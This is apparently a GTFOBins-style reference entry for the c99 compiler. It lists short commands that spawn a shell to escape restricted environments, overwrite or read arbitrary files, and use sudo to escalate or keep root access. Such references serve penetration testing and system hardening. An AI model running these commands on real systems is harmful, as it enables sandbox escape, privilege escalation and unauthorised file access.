



 / **c99** ☆ Star 10,833

- Shell
- File write
- File read
- Sudo

## Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

```
c99 -wrapper /bin/sh,-s .
```

## File write

It writes data to files, it may be used to do privileged writes or write files outside a restricted file system.

```
LFILE=file_to_delete
c99 -xc /dev/null -o $LFILE
```

## File read

It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.

```
LFILE=file_to_read
c99 -x c -E "$LFILE"
```

## Sudo

If the binary is allowed to run as superuser by `sudo`, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

```
sudo c99 -wrapper /bin/sh,-s .
```